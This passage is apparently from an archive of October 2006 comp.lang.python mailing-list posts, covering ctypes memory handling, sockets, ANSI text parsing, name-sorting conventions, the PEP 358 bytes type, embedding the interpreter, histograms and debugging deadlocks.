Python's control. > > # these definitions are the easy part > dll.MagickRelinquishMemory.argtypes = [c_void_p] > dll.MagickRelinquishMemory.restype = c_char_p > > # but this obviously must cause problems and causes problems > dll.MagickRelinquishMemory(description) > > So, my question is, how do I deal with this situation? Can I ignore > the call to MagickRelinquishMemory, cause Python takes care of the > resources already? Or is it impossible to use it at all, and I have to > think about a different solution? > Not a ctypes expert but I can pretty much guaranteee that Python won't correctly release that memory by itself. Are you sure that description is actually a string object? By my recollection it should be a c_char_p object, and if you pass it to MagickRelinquishMemory ctypes should do the right thing. If it doesn't, then you can use a more literal translation of the C code, and use a c_void_p instead, using ctypes.string_at(description) to get a string out of the buffer. > Best regards, > Oliver > > -- > Oliver Andrich --- http://roughbook.de/ > -- > http://mail.python.org/mailman/listinfo/python-list > From mm2ps at yahoo.co.uk Mon Oct 2 12:18:13 2006 From: mm2ps at yahoo.co.uk (dug) Date: 2 Oct 2006 09:18:13 -0700 Subject: tkinter to mpeg Message-ID: <1159805893.786448.191810@i42g2000cwa.googlegroups.com> Hi, I have a small program that moves some shapes around a tkinter canvas. Is there any way to save the output in a movie file, maybe mpeg? Thank you, Douglas From NormanTindall at zdisk.net Tue Oct 3 02:47:36 2006 From: NormanTindall at zdisk.net (OneMustFall) Date: 2 Oct 2006 23:47:36 -0700 Subject: Sockets in python In-Reply-To: <2_iUg.6914$TV3.4239@newssvr21.news.prodigy.com> References: <1159557755.437424.44670@m73g2000cwd.googlegroups.com> <2_iUg.6914$TV3.4239@newssvr21.news.prodigy.com> Message-ID: <1159858056.546645.4370@c28g2000cwb.googlegroups.com> > What's your set-up and which cord are you pulling? > Well i now i think the clue is in the OS, i have sniffed and it seems that Twisted have no magic. It is seems that i simply tested things in a wrong way - when i pulled cord from ethernet card windows determined that network lost and started to closing all sockets opened to that network (and so EINVAL or other OS error raised when twisted tryed to read wrom that socket), while the server did had a network - and it was right thing that server was thinking that socket is alive. From ptmcg at austin.rr._bogus_.com Thu Oct 19 13:03:42 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Thu, 19 Oct 2006 17:03:42 GMT Subject: invert or reverse a string... warning this is a rant References: Message-ID: "Demel, Jeff" wrote in message news:mailman.764.1161275760.11739.python-list at python.org... John Salerno wrote: P.S. How about a string.shuffle() method that splits the string in half into two new strings str1 and str2, and then recompiles the string by alternating one character from each str1 and str2 as it goes? Like shuffling cards. ;) You mean: "".join(sum(map(list,zip(s,s[len(s)/2:])),[])) perhaps? >>> s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" >>> "".join(sum(map(list,zip(s,s[len(s)/2:])),[])) 'ANBOCPDQERFSGTHUIVJWKXLYMZ' >>> -- Paul From mike$#at^&nospam!%trauschus Thu Oct 26 21:52:42 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Thu, 26 Oct 2006 21:52:42 -0400 Subject: Tracing the execution of scripts? Message-ID: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com> Alright, I seem to be at a loss for what I am looking for, and I am not even really all that sure if it is possible or not. I found the 'pdb' debugger, but I was wondering if there was something that would trace or log the order of line execution for a multi-module Python program. I am having a little bit of a problem tracking down a problem that I mentioned earlier (http://groups.google.com/group/comp.lang.python/msg/9c759fc888b365be), and I am hoping that maybe seeing how the statements are executed will shed some light on the entire thing for me. The debugger isn't working, though, because I have a timer set up to fire off every 20ms to check for incoming network traffic from the server, and that timer firing off makes stepping through with the debugger seemingly impossible to get any useful data. Basically, is there something that will log every line of Python code executed, in its order of execution, to a text file so that I can see what is (or isn't) happening that I am expecting? I know that the server is sending and receiving properly, because I can connect to it with a regular telnet client and it works -- but at the same time, everything I can think of to check my program's functionality checks out just fine (e.g., it reports that it is successfully sending what I am typing to the server, and it says that the server is not sending anything back to be read from the socket). If it makes any difference, I am using wxWidgets' Python bindings for the UI code (and the timer), and using Python's socket library for the network stuff. -- Mike From hanumizzle at gmail.com Tue Oct 10 05:36:06 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 10 Oct 2006 05:36:06 -0400 Subject: Newbie - Stuck In-Reply-To: <200610092124.10986.email@christoph-haas.de> References: <1160309372.750331.8140@m7g2000cwm.googlegroups.com> <200610092124.10986.email@christoph-haas.de> Message-ID: <463ff4860610100236q4375c88fq26cf640d9080c2fe@mail.gmail.com> On 10/9/06, Christoph Haas wrote: > Yes, I know Perl makes "0" from anything that doesn't look like a number > but Python's principle is to never hide errors while Perl makes certain > assumptions. So Python prefers to complain. And raises real exceptions moreover, instead of leaving you with a string and holding the bag. I still like Perl after a fashion, but c'mon, Konrad Zuse thought of real exceptions handling in 19--bleeding--46. -- Theerasak From anthra.norell at vtxmail.ch Sun Oct 22 05:00:59 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Sun, 22 Oct 2006 11:00:59 +0200 Subject: Attempting to parse free-form ANSI text. In-Reply-To: References: Message-ID: <453B334B.6050807@vtxmail.ch> Michael B. Trausch wrote: > Alright... I am attempting to find a way to parse ANSI text from a > telnet application. However, I am experiencing a bit of trouble. > > What I want to do is have all ANSI sequences _removed_ from the output, > save for those that manage color codes or text presentation (in short, > the ones that are ESC[#m (with additional #s separated by ; characters). > The ones that are left, the ones that are the color codes, I want to > act on, and remove from the text stream, and display the text. > > I am using wxPython's TextCtrl as output, so when I "get" an ANSI color > control sequence, I want to basically turn it into a call to wxWidgets' > TextCtrl.SetDefaultStyle method for the control, adding the appropriate > color/brightness/italic/bold/etc. settings to the TextCtrl until the > next ANSI code comes in to alter it. > > It would *seem* easy, but I cannot seem to wrap my mind around the idea. > :-/ > > I have a source tarball up at http://fd0man.theunixplace.com/Tmud.tar > which contains the code in question. In short, the information is > coming in over a TCP/IP socket that is traditionally connected to with a > telnet client, so things can be broken mid-line (or even mid-control > sequence). If anyone has any ideas as to what I am doing, expecting, or > assuming that is wrong, I would be delighted to hear it. The code that > is not behaving as I would expect it to is in src/AnsiTextCtrl.py, but I > have included the entire project as it stands for completeness. > > Any help would be appreciated! Thanks! > > -- Mike > *I have no experience with reading from TCP/IP. But looking at your program with a candid mind I'd say that it is written to process a chunk of data in memory. If, as you say, the chunks you get from TCP/IP may start and end anywhere and, presumably you pass each chunk through AppendText, then you have a synchronization problem, as each call resets your escape flag, even if the new chunk starts in the middle of an escape sequence. Perhaps you should cut off incomplete escapes at the end and prepend them to the next chunk. And: if(len(buffer) > 0): wx.TextCtrl.AppendText(self, buffer) <<< Are you sure text goes into the same place as the controls? if(len(AnsiBuffer) > 0): wx.TextCtrl.AppendText(self, AnsiBuffer) <<< You say you want to strip the control sequences Frederic * From ldo at geek-central.gen.new_zealand Sun Oct 8 18:07:14 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Mon, 09 Oct 2006 11:07:14 +1300 Subject: People's names (was Re: sqlite3 error) References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> <1160266138.599325.270290@e3g2000cwe.googlegroups.com> Message-ID: In message <1160266138.599325.270290 at e3g2000cwe.googlegroups.com>, John Machin wrote: > Two problems so far: > (1) If you then assume that you should print the phone directory in > order of family name, that's not appropriate in some places e.g. > Iceland; neither is addressing Jon Jonsson as "Mr Jonsson", and BTW it > can be their mother's name e.g. if she has more fame or recognition > than their father. Your bringing up the phone directory is a good point. That's probably the most widely-consulted list of people's names around, so it's worthwhile following whatever conventions are laid out in each country/region's phone books. (There's also the electoral roll, I suppose, but I would assume that follows the same sorts of conventions as the phone book.) > (2) Arabic names: you may or may not have their father's name. You > might not even have the [usually only one] given name. For example: the > person who was known as Abu Musab al-Zarqawi: this means "father of > Musab, the man from Zarqa [a city in Jordan]". You may have the family > name as well as the father's and grandfather's given name. You can have > the occupation, honorifics, nicknames. For a brief overview, read this: > http://en.wikipedia.org/wiki/Arabic_names The question for me is: which part of his name would he share in common with his brothers and sisters? That's the part I would call the "family name". One might raise the issue of using names to trace genealogies, origins etc, but that's not my concern here. I'm just trying to come up with a way to represent names of individuals, in such a way that they can easily be found (as in, for example, the local phone book). >> I wonder if we need another "middle" field for holding the "bin/binte" >> part (could also hold, e.g. "Van" for those names that use this). > > Not a good idea, IMHO. Consider "Nguyen Van Tran" vs 'Rembrandt van > Rijn". Would you peel the Da off Da Costa but not the D' off > D'Oliveiro? What do you do with the bod who fills in a form as Dermot > O'Sullivan one month and Diarmaid ? S?illeabh?in the next? The obvious question is, what does the local phone book do? How do the Dutch phone books deal with all the "vans", and the Irish ones with all the "O" or "O'"s? Do they put them under V and O respectively, or do they ignore that part and look at the rest of the family name (which would make mor sense to me)? From wuwei23 at gmail.com Thu Oct 19 19:42:25 2006 From: wuwei23 at gmail.com (alex23) Date: 19 Oct 2006 16:42:25 -0700 Subject: Lead Software Engineer In-Reply-To: <1161295580.670392.26500@k70g2000cwa.googlegroups.com> References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com> Message-ID: <1161301345.261642.247810@b28g2000cwb.googlegroups.com> Emma wrote: > 5. Please provide us with a comparison of the following music discovery > > sites: > > http://www.blogmusik.net > http://www.seeqpod.com/music > http://www.finetune.com > http://www.webjay.com > > For each of these we like to know: > A) What you like and dislike about each of these. > B) Which one you like the best. > C) Which one you think others might like the best. > D) How you would improve the one you like. There _are_ no jobs on offer here. This is just a cheap attempt at getting free survey data. - alex23 From vatamane at gmail.com Sun Oct 29 17:22:44 2006 From: vatamane at gmail.com (Nick Vatamaniuc) Date: 29 Oct 2006 14:22:44 -0800 Subject: Observation on "Core Python Programming" In-Reply-To: References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com> <1162152161.321947.257870@m73g2000cwd.googlegroups.com> Message-ID: <1162160564.203566.63750@m73g2000cwd.googlegroups.com> ...Skimmed through the previous edition. I don't normally read programming books -- just use the chapters that I need when I need them, unless of course there is a clever plot twist coming up ahead (for ex.: "Next: The revenge of lambdas. Will they stay or will they go?" ;-) Why? Have you read it from beginning to end. What did you think about functions being introduced later than files and exceptions? -Nick V. Fredrik Lundh wrote: > Nick Vatamaniuc wrote: > > > I would consider that an omission. Functions are very important in > > Python. I think the user/reader should see the _def_ and _class_ > > statement fairly soon in the introduction. The name of the book is > > thus somewhat misleading, because functions are at the "core" of > > Python. > > have you read the book? > > From aaronwmail-usenet at yahoo.com Mon Oct 2 12:19:01 2006 From: aaronwmail-usenet at yahoo.com (aaronwmail-usenet at yahoo.com) Date: 2 Oct 2006 09:19:01 -0700 Subject: Gadfly server startup error In-Reply-To: <1159796526.279870.76340@m7g2000cwm.googlegroups.com> References: <1159796526.279870.76340@m7g2000cwm.googlegroups.com> Message-ID: <1159805941.216863.104170@i3g2000cwc.googlegroups.com> aaronwmail-usenet at yahoo.com wrote: > > Is anybody out there who has used the server+client operation > > mode successfully? > > Well, several years ago, yes. I looked into it and it was mainly a documentation and test issue, I think. The code seems to work. Please go http://gadfly.sourceforge.net/gadfly_server_test.zip and look at the readme. I will try to fold this in to the distribution sometime soon. from the README in the zip: ========== gadfly_server_test readme This directory provides a proof of concept test run of the gadfly server components. It requires gadfly to be installed in the local python installation ( http://gadfly.sourceforge.net ). Please see the doc string at the top of gfstest.py for details. Example demo run sequence (in Windows installations the "python" prefix is optional): 1. Set up the database. % python gftest.py dbtest 2. Start the server % python gfstest.py start This starts an infinite server loop in the current console. 3. SWITCH TO ANOTHER WINDOW and run test queries. % python gfstest.py queries 4. Shut down the server. % python gfstest.py shutdown ============= -- Aaron Watters === There once was a man who said "Well! Will nobody answer this bell? I have pulled day and night 'til my hair has grown white but nobody answers this bell!" -- Edward Lear From martin at v.loewis.de Sun Oct 22 00:50:38 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 22 Oct 2006 06:50:38 +0200 Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ? In-Reply-To: References: Message-ID: <453af89e$0$12734$9b622d9e@news.freenet.de> Kenneth Long schrieb: >> Okay if one builds such from sources... but us poor >> Windows flunkies >> without a build environment have to wait for some >> kindly soul to build >> the installer compatible with the new Python >> version. >> > especially since I havent got MS visual studio... > and mingw is not supported... :-( Why do you say that? mingw might just work fine (depending on particular details of the extension module in question). Regards, Martin From sjmachin at lexicon.net Tue Oct 3 23:05:41 2006 From: sjmachin at lexicon.net (John Machin) Date: 3 Oct 2006 20:05:41 -0700 Subject: PEP 358 and operations on bytes In-Reply-To: References: Message-ID: <1159931141.342507.108260@e3g2000cwe.googlegroups.com> Gerrit Holl wrote: > Hi, > > In Python 3, reading from a file gives bytes rather than characters. > Some operations currently performed on strings also make sense when > performed on bytes, either if it's binary data or if it's text of > unknown or mixed encoding. Those include of course slicing and other > operators that exist in lists, but also other operations that aren't > currently defined in PEP 358, like: > > - str methods endswith, find, partition, replace, split(lines), > startswith, > - Regular expressions > > I think those can be useful on a bytes type. Perhaps bytes and str could > share a common parent class? They certainly share a lot of properties > and possible operations one might want to perform. > I look at it this way:: Processing text? Use unicode. Binary structures and file I/O, interfacing to 8-bit-wide channels? Use bytes. Nostalgic for confused mixed-use? Don't upgrade. IMHO, core dev time would be better used on: * making /relevant/ modules (e.g. struct) work with bytes -- this topic is not mentioned in the PEP. * ensuring it covers everything that array.array('B', ...) does. * being able to initialise a bytes array to (typically) all zeroes without having to instantiate an initialiser e.g. record = bytes(size=996, fill=0) instead of record = bytes(996 * [0]) than on starts(ends)with etc, and regexes. Cheers, John From http Wed Oct 4 09:44:24 2006 From: http (Paul Rubin) Date: 04 Oct 2006 06:44:24 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: <7xk63gry9z.fsf@ruckus.brouhaha.com> Steve Holden writes: > Sniping from the sidelines is far easier than hard work towards a goal. Right now there is not even agreement on what the goal is. The surprise people are expressing is because they thought one of the goals of a big open source project would be to avoid reliance on closed tools. From fuzzyman at gmail.com Tue Oct 31 18:42:28 2006 From: fuzzyman at gmail.com (Fuzzyman) Date: 31 Oct 2006 15:42:28 -0800 Subject: What is the cleanest way to for a module to access objects from the script that imports it? In-Reply-To: <1161986024.956989.218370@i42g2000cwa.googlegroups.com> References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com> Message-ID: <1162338148.904446.115040@m7g2000cwm.googlegroups.com> noamsml at gmail.com wrote: > Hi, > > I am new to python and am currently writing my first application. One > of the problems I quickly ran into, however, is that python's imports > are very different from php/C++ includes in the sense that they > completely wrap the imported script in a module object. One of the > problems with this was that a plugin system that I am making requires > use of objects, classes and the such from the original script. Thus, on > one hand, I am hesitant to use execfile(), since I *do* want to wrap > the plugin up, but on the other hand, I want the plugin to be able to > use functions from the original script. Any ideas? > This is a situation I've been in before when writing plugins - you need some way of 'connecting' the plugin to the main application. I usually provide a baseclass which the user should subclass to implement the plugin. The override something like an 'onActivate' method, which when called, is passed in (by the application) all the information they need. They can also optionally override 'onLoad' and 'onUnload' or whatever other methods you want to provide. Fuzzyman http://www.voidspace.org.uk/python/index.shtml > Sincerely, > Noam Samuel. From morris.slutsky at gmail.com Sun Oct 1 05:50:37 2006 From: morris.slutsky at gmail.com (morris.slutsky at gmail.com) Date: 1 Oct 2006 02:50:37 -0700 Subject: the actual C code - Re: Scoping bugs in an embedded Python interpreter - Wizards please In-Reply-To: <1159546431.369350.177440@m73g2000cwd.googlegroups.com> References: <1159542176.977456.258590@i42g2000cwa.googlegroups.com> <1159546431.369350.177440@m73g2000cwd.googlegroups.com> Message-ID: <1159696237.483735.189310@b28g2000cwb.googlegroups.com> FOUND IT! http://mail.python.org/pipermail/python-list/1999-June/005833.html So I'm supposed to only have ONE dictionary, 'glb', and forget the 'loc' for locals. Just call PyRun(...glb,glb).... Seeing as this was a topic of discussion 7 years ago, maybe it ought to be in the "extending and embedding" manual ... well thanks everyone who read this. From tjreedy at udel.edu Thu Oct 12 06:57:57 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 12 Oct 2006 06:57:57 -0400 Subject: Python component model References: <452b7aae$0$306$426a74cc@news.free.fr> <1160618190.314729.236250@c28g2000cwb.googlegroups.com><1160622492.360486.207270@m73g2000cwd.googlegroups.com> <1160628402.244331.197840@b28g2000cwb.googlegroups.com> Message-ID: "Ilias Lazaridis" wrote in message news:1160628402.244331.197840 at b28g2000cwb.googlegroups.com... > I share the infrastructure which I use: > > http://dev.lazaridis.com/base But not quite yet, it appears. "A public release is planned shortly" From fuzzyman at gmail.com Sun Oct 22 20:13:31 2006 From: fuzzyman at gmail.com (Fuzzyman) Date: 22 Oct 2006 17:13:31 -0700 Subject: [ANN] Movable IDLE 0.1.0 Message-ID: <1161562411.412739.44750@e3g2000cwe.googlegroups.com> There is now an experimental version of **Movable IDLE** available, this is an off-shoot of the `Movable Python `_ project. **Movable IDLE**, version 0.1.0 can be downloaded (free) from : `Movable IDLE Download `_ (Same place as the trial version of Movable Python.) **Movable IDLE** is a portable distribution of IDLE, the Python IDE, for Windows. The homepage of Movable IDLE is : http://voidspace.org.uk/python/movpy/movableidle.html This can be run without installing, and at only fifteen megabytes uncompressed it can be run from a USB stick or memory card. It comes with the full Python standard library, and should be capable of running almost any program that can be run with IDLE. Hopefully this will be useful for educational and experimental purposes. Limitations ======== **Movable IDLE** does not have all the clever trickery that **Movable Python** does. This means that the `win32 `_ extensions, or any program that uses ``imp.find_module`` are unlikely to work. It also won't work with programs that have another event loop, like other GUI toolkits. If you need these features, try `Movable Python`_. On the other hand, if you do find bugs or restrictions, post them to the `Movable Python Mailing List `_ and it may be possible to fix them. This is the right place to post feedback and suggestions as well. License ====== **Movable IDLE** is copyright *Michael Foord*, 2006. It is free, but not Open Source. You are free to copy and distribute **Movable IDLE**, but not to charge for it. It may not be included in any distribution which charges directly or indirectly, without express permission. The following sections of the `Movable Python License `_ also apply : * *Disclaimer* * *Limitations* * *Restricted Uses* From Luwian at gmail.com Sun Oct 22 09:33:50 2006 From: Luwian at gmail.com (Lucas) Date: 22 Oct 2006 06:33:50 -0700 Subject: How to print a file in binary mode In-Reply-To: References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com> Message-ID: <1161524030.833422.216370@k70g2000cwa.googlegroups.com> thanks for your answer. I known how to do it. read() return a string. so 1) bytes = read(1) #read the file by bit. 2) chrString = ord(bytes) #convert the string to ASCII. 3) print numberToBinary(chrString) #convert the ASCII to Binary using my function. 4) Loop I do it because I want to encrypt a string into a picture using RSA algorithm. so I first convert the string to binary,and then saving the binary into picture finally, print the picture by binary! It is my coursework and studying PYTHON passingly : ) Marc 'BlackJack' Rintsch wrote: > In <1161519385.614985.311240 at m73g2000cwd.googlegroups.com>, Lucas wrote: > > > I need print a file in binary mode . > > > > f = f.open('python.jpg','rb') > > bytes = f.read() > > f.close() > > > > print(bytes) > > > > I can't get any binary code. > > What do you mean by "binary code"? If you use ``print repr(bytes)`` > everything outside ASCII will be printed as escape sequence. > > But why do you want to "print" JPEG images anyway? > > Ciao, > Marc 'BlackJack' Rintsch From martin at v.loewis.de Sat Oct 28 15:27:07 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 28 Oct 2006 21:27:07 +0200 Subject: gettext on Windows In-Reply-To: <1162038016.231735.41180@i3g2000cwc.googlegroups.com> References: <1162022669.684710.182530@m7g2000cwm.googlegroups.com> <1162023784.123822.266270@m73g2000cwd.googlegroups.com> <454322BC.8020002@v.loewis.de> <1162028026.501490.93250@m7g2000cwm.googlegroups.com> <1162029032.840155.147160@b28g2000cwb.googlegroups.com> <1162038016.231735.41180@i3g2000cwc.googlegroups.com> Message-ID: <4543af0b$0$20441$9b622d9e@news.freenet.de> russ.phillips.nospam at googlemail.com schrieb: > Leo Kislov wrote: > >> Try msgunfmt >> http://www.gnu.org/software/gettext/manual/html_node/gettext_128.html#SEC128 >> to see if it can convert your files back to text. > > Just tried it, and it was able to convert each of the .mo files back to > text without any problems. Then you should make a bug report (or, better yet, a patch). Apparently, the Python gettext implementation is not able to process the MO files you are passing. Regards, Martin From broek at cc.umanitoba.ca Tue Oct 10 18:46:06 2006 From: broek at cc.umanitoba.ca (Brian van den Broek) Date: Tue, 10 Oct 2006 17:46:06 -0500 Subject: OT: Sarcasm and irony In-Reply-To: <3bb44c6e0610100625p4dae88afg5231be1d4d50e683@mail.gmail.com> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <452b73ce$0$14045$edfadb0f@dread15.news.tele.dk> <452b9017$0$14045$edfadb0f@dread15.news.tele.dk> <3bb44c6e0610100625p4dae88afg5231be1d4d50e683@mail.gmail.com> Message-ID: <452C22AE.3030709@cc.umanitoba.ca> bryan rasmussen said unto the world upon 10/10/06 08:25 AM: > As was noted in my original statement the weak form of irony such as > understood by Danes and I suppose by Americans as well, since that is > what Steve was originally complaining about, is descended from the > concept of Dramatic Irony. If you do a dictionary lookup of irony > dramatic irony will probably be mentioned, also such more antiquated > usages as Socratic irony. > > These other concepts of irony have not changed. You can use the word > irony in a technical manner to someone in the dramatic arts and have > the usage understood. > > The weak form of irony, verbal irony, is a pretty recent addition to > the concept of irony. > > To take a wikipedia discussion of the subject: > http://en.wikipedia.org/wiki/Irony and earlier: > Well irony originally started out as a very specific concept of the > Ancient Greek drama, this is what we nowadays refer to as Dramatic > Irony but it is the original irony. Irony then became a literary > concept for plot elements similar to Dramatic irony in books, or a > weaker type of the Dramatic irony found in the plays of Shakespeare. > People then noticed that life was at times ironic in the literary > manner. Nowadays the use of the word irony has degenerated to by > pretty much synonymous with sarcasm. I enjoy a good round of weeping for the future over the declining standards as much as the next pedant, but I think I must beg to differ here. A quick check with the on-line text of the second edition of the Oxford English Dictionary (sadly, a link only available by subscription) gives as the first meaning: A figure of speech in which the intended meaning is the opposite of that expressed by the words used; usually taking the form of sarcasm or ridicule in which laudatory expressions are used to imply condemnation or contempt. The first provided use squarely in this sense is from Sir Thomas More in 1533. So, the language has been declining for a goodly while now, it would seem ;-) Best to all, Brian vdB From toreriks at hotmail.com Thu Oct 12 09:08:21 2006 From: toreriks at hotmail.com (Tor Erik Soenvisen) Date: Thu, 12 Oct 2006 13:08:21 +0000 (UTC) Subject: Assigning different Exception message Message-ID: try: self.cursor.execute(sql) except AttributeError, e: if e.message == "oracleDB instance has no attribute 'cursor'": e.message = 'oracleDB.open() must be called before' + \ ' oracleDB.query()' raise AttributeError, e This code does not re-assign e's message when the conditional is satisfied. Why not? regards From fredrik at pythonware.com Mon Oct 9 06:46:20 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 9 Oct 2006 12:46:20 +0200 Subject: why this is wrong? References: <200610091840577967380@gmail.com> Message-ID: "bruce.who.hk" wrote: > I just donnot know why this is wrong, you can test it in python shell: > > class B: > def __str__(self): > return u'\u5929\u4e0b' > > b=B() > str(b) > Traceback (most recent call last): > File "", line 1, in ? > UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: ordinal not in > range(128) the str() function is supposed to return an 8-bit string, so when you return a Unicode string instead, it attempts to convert it using the default encoding. try using the unicode() function instead. From archanamg at fastmail.fm Wed Oct 4 23:49:07 2006 From: archanamg at fastmail.fm (Archana Kumar) Date: Thu, 05 Oct 2006 09:19:07 +0530 Subject: Boa Constructor error: "No section:editor" Message-ID: <1160020147.26172.272589574@webmail.messagingengine.com> Hi, I try to open a Boa Constructor's instance when an error message : "No section:editor" (in a pop up window) is being thrown. I can see on the console that the last message shown is "running main" I also tried reinstalling Boa (0.4.4 Release)as well as Python (ver 2.4.3), but the problem still persists. Could some one suggest me as to the cause of this problem and how do I rectify this problem. Thanks, Archana -- Archana Kumar archanamg at fastmail.fm -- http://www.fastmail.fm - Or how I learned to stop worrying and love email again From Roberto.Bonvallet at cern.ch Wed Oct 18 07:37:02 2006 From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet) Date: Wed, 18 Oct 2006 11:37:02 +0000 (UTC) Subject: Plotting histograms References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> Message-ID: amitsoni.1984 at gmail.com wrote: > hi, I have some values(say from -a to a) stored in a vector and I want > to plot a histogram for those values. How can I get it done in python. > I have installed and imported the Matplotlib package but on executing > the code > [N,x]=hist(eig, 10) # make a histogram > I am getting an error saying "NameError: name 'hist' is not > defined". > > Is there any other way to plot histograms over a given range? >>> # create random vector ... from random import randrange >>> a = 5 >>> v = [randrange(-a, a+1) for i in xrange(100)] >>> >>> # print histogram ... for i in range(-a, a+1): ... print "%+d %s" % (i, '*' * v.count(i)) ... -5 ********* -4 ***** -3 ***** -2 ********** -1 ********** +0 ***** +1 ************ +2 ******* +3 ***** +4 ******************** +5 ************ :) -- Roberto Bonvallet From nogradi at gmail.com Mon Oct 2 21:00:49 2006 From: nogradi at gmail.com (Daniel Nogradi) Date: Tue, 3 Oct 2006 03:00:49 +0200 Subject: app with standalone gui and web interface Message-ID: <5f56302b0610021800v29714effi3f7fb85162a8cc3f@mail.gmail.com> What would the simplest way to make an application that has both a web interface and runs from behind a web server but also can be used as a standalone app with a gui? More precisely is it possible to avoid creating an html/xml/whatever based web interface for the web version and separately creating a gui (wxpython for example) for the standalone version and instead create a graphical frontend at once that can be used for both? From oliphant.travis at ieee.org Mon Oct 23 20:01:26 2006 From: oliphant.travis at ieee.org (Travis E. Oliphant) Date: Mon, 23 Oct 2006 18:01:26 -0600 Subject: numpy error In-Reply-To: <4q4eggFl1prqU1@individual.net> References: <4q4eggFl1prqU1@individual.net> Message-ID: Juergen Kareta wrote: > Hello, > > this is my first try to get wxmpl-1.2.8 running. Therefor I installed: > > python 2.5 > matplotlib-0.87.6.win32-py2.5.exe > numpy-1.0rc3.win32-py2.5.exe > > on WinXP SP2 > > The result is a version mismatch (see below). > > Numpy version 1000002 seems to be numpy-1.0b5 which is not downloadable > anymore. Any hints ? > You need to re-compile matplotlib (or wait until they release a new binary that is compiled against numpy 1.0) Or install the numpy-1.0rc2 binary which is now again available on sourceforge. -Travis From shalofin at gmail.com Fri Oct 13 11:08:51 2006 From: shalofin at gmail.com (paw) Date: 13 Oct 2006 08:08:51 -0700 Subject: Problems with Python 2.5 installer. In-Reply-To: <1159542164.799707.236360@e3g2000cwe.googlegroups.com> References: <1159524086.088796.75980@b28g2000cwb.googlegroups.com> <1159542164.799707.236360@e3g2000cwe.googlegroups.com> Message-ID: <1160752130.989225.211930@k70g2000cwa.googlegroups.com> > > Could this happen if c:\python does not exists and creating it fails for > > some reason, or if permissions are incorrect? > > Are you installing it as a "normal" user or as an Administrator? I have > occasionally had problems (not when installing Python) as a "normal" > user not being allowed to create a folder at the C:\ level. > > I'd suggest this; > (1) log on as as administrator (i.e. with full rights) > (2) do an "all users" installation > (3) You haven't come up with a good reason for doing otherwise, so read > my lips: *** use the default installation folder C:\Python25 *** you'll > be happy you did, when Python 2.6 comes out and you want to have both > installed. It turns out the domain admin took away my local admin rights mistakenly. Once I got those back everything worked fine. The only 'logic' for my not installing to a directory with the version is that I don't keep more than one version of Python on my system at any given time. When the new version comes out and is stable I remove the old one, this forces me to check any programs against the latest version. Thanks for all of the help, Wayne From durumdara at gmail.com Wed Oct 4 04:06:46 2006 From: durumdara at gmail.com (durumdara) Date: Wed, 04 Oct 2006 10:06:46 +0200 Subject: Best way to handle large lists? In-Reply-To: <452298C7.8040204@hotmail.com> References: <7xodst3337.fsf@ruckus.brouhaha.com> <45227982.4060808@hotmail.com> <452298C7.8040204@hotmail.com> Message-ID: <45236B96.9080307@gmail.com> Hi ! > Thanks Jeremy. I am in the process of converting my stuff to use sets! I > wouldn't have thought it would have made that big a deal! I guess it is > live and learn. > If you have simplified records with big amount of data, you can trying dbhash. With this you don't get out from memory... dd import dbhash import time import random import gc import sys itemcount = 250000 db = dbhash.open('test.dbh','w') for i in range(itemcount): db[str(i)] = str(i) littlelist = [] littleset = set() while len(littlelist) < 1000: x = str(random.randint(0, itemcount-1)) if not (x in littlelist): littlelist.append(x) littleset.add(x) def DBHash(): gc.collect() hk = db.has_key st = time.time() newlist = [] for val in littlelist: if hk(val): newlist.append(val) et = time.time() print "Size", len(newlist) newlist.sort() print "Hash", hash(str(newlist)) print "Time", "%04f"%(et-st) print def Set(): gc.collect() largeset = set() for i in range(itemcount): largeset.add(str(i)) st = time.time() newset = largeset.intersection(littleset) newsetlist = [] while newset: newsetlist.append(newset.pop()) et = time.time() print "Size", len(newsetlist) newsetlist.sort() print "Hash", hash(str(newsetlist)) print "Time", "%04f"%(et-st) DBHash() Set() From fumanchu at amor.org Sat Oct 7 13:48:17 2006 From: fumanchu at amor.org (fumanchu) Date: 7 Oct 2006 10:48:17 -0700 Subject: Dumping the state of a deadlocked process References: <1160164771.210372.141120@h48g2000cwc.googlegroups.com> Message-ID: <1160243297.032316.104340@c28g2000cwb.googlegroups.com> Dennis Lee Bieber wrote: > On 6 Oct 2006 12:59:31 -0700, andre.naess at gmail.com declaimed the > following in comp.lang.python: > > > I'm currently having some issues with a process getting deadlocked. The > > problem is that the only way I can seem to find information about where > > it deadlocks is by making a wild guess, insert a pdb.set_trace() before > > this point, and then step until it locks up, hoping that I've guessed > > right. > > > I presume the process is using threads? If it is truly deadlocked, > then you must have some mutual calls to lock objects somewhere... It > would seem that rather than just randomly inserting debug statements you > should surround each call to a lock with statements. > > print "Locking xyz" > xyz.acquire() #or whatever the syntax is > print "Locked xyz" > > > > print "Releasing xyz" > 